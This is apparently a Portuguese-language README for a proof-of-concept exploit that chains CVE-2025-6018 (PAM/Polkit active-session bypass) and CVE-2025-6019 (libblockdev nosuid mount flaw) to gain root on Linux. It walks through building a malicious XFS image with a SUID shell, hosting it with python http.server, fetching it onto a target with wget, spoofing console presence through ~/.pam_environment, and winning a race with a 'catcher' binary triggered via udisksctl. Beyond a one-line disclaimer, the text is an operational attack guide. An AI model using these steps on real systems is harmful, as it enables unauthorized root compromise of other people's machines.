
Uma Prova de Conceito para encadear CVE-2025-6018 (Bypass de Sessão Ativa do PAM/Polkit) e CVE-2025-6019 (Falha de Montagem SUID do libblockdev) para alcançar Escalação Local de Privilégios (LPE) em sistemas Linux vulneráveis.
Uma Prova de Conceito (PoC) robusta para encadear CVE-2025-6018 (Bypass de Sessão Ativa do PAM/Polkit) e CVE-2025-6019 (Falha de Montagem SUID no libblockdev) para obter acesso root em sistemas Linux vulneráveis.
Esta ferramenta é destinada apenas a fins educacionais e pesquisa de segurança autorizada. Não use esta ferramenta em sistemas que você não possui ou para os quais não tenha permissão explícita para testar.
Este exploit encadeia duas falhas lógicas para escalar privilégios de um usuário comum para root:
Active=yes. Esse truque convence o sistema de que o usuário remoto está fisicamente presente no console, contornando os requisitos de senha para ferramentas de gerenciamento de hardware como udisks2.libblockdev (usada pelo udisks2) não aplica o sinalizador de segurança nosuid ao montar temporariamente um sistema de arquivos para operações de manutenção (como Check ou Resize).Active=yes para montar essa imagem como um dispositivo de loop sem senha.Filesystem.Check. Isso força o udisks2 a montar temporariamente a imagem para verificá-la. Crucialmente, essa montagem temporária não possui nosuid./proc/mounts em tempo real. No momento em que a montagem temporária aparece, ele executa o payload SUID antes que o sistema a desmonte.Como a máquina alvo geralmente não possui ferramentas como mkfs.xfs ou gcc, geramos o payload localmente.
Execute o script de build no Kali/Parrot:
./build_poc.sh
exploit.img (imagem XFS de 400MB com shell SUID).catcher (o vencedor da condição de corrida).Envie os arquivos para o alvo: Inicie um servidor Python:
python3 -m http.server 80
Na máquina alvo (ex.: em /tmp):
wget http://<YOUR_IP>/exploit.img
wget http://<YOUR_IP>/catcher
chmod +x catcher
Baixe o script de exploit:
Salve o conteúdo de exploit.sh deste repositório na máquina alvo.
Execute o exploit:
chmod +x exploit.sh
./exploit.sh
Aproveite o Root: O script configurará automaticamente o dispositivo de loop, iniciará o catcher em segundo plano e acionará a vulnerabilidade. Você deve cair em uma shell root imediatamente.
Se o script pedir uma senha, sua sessão SSH não está ativa. Correção:
~/.pam_environment:
echo "XDG_SEAT=seat0" > ~/.pam_environment
echo "XDG_VTNR=1" >> ~/.pam_environment
loginctl show-session $XDG_SESSION_ID | grep Active. Deve dizer Active=yes.A janela vulnerável tem apenas alguns milissegundos de duração.
build_poc.sh), não um loop em Bash.Filesystem.Check, que é mais confiável que Resize.build_poc.sh (Lado do Atacante)Automatiza a criação da imagem maliciosa e compila os binários estáticos.
exploit.sh (Lado do Alvo)O orquestrador. Ele cuida de:
catcher em segundo plano.udisksctl.Filesystem.Check.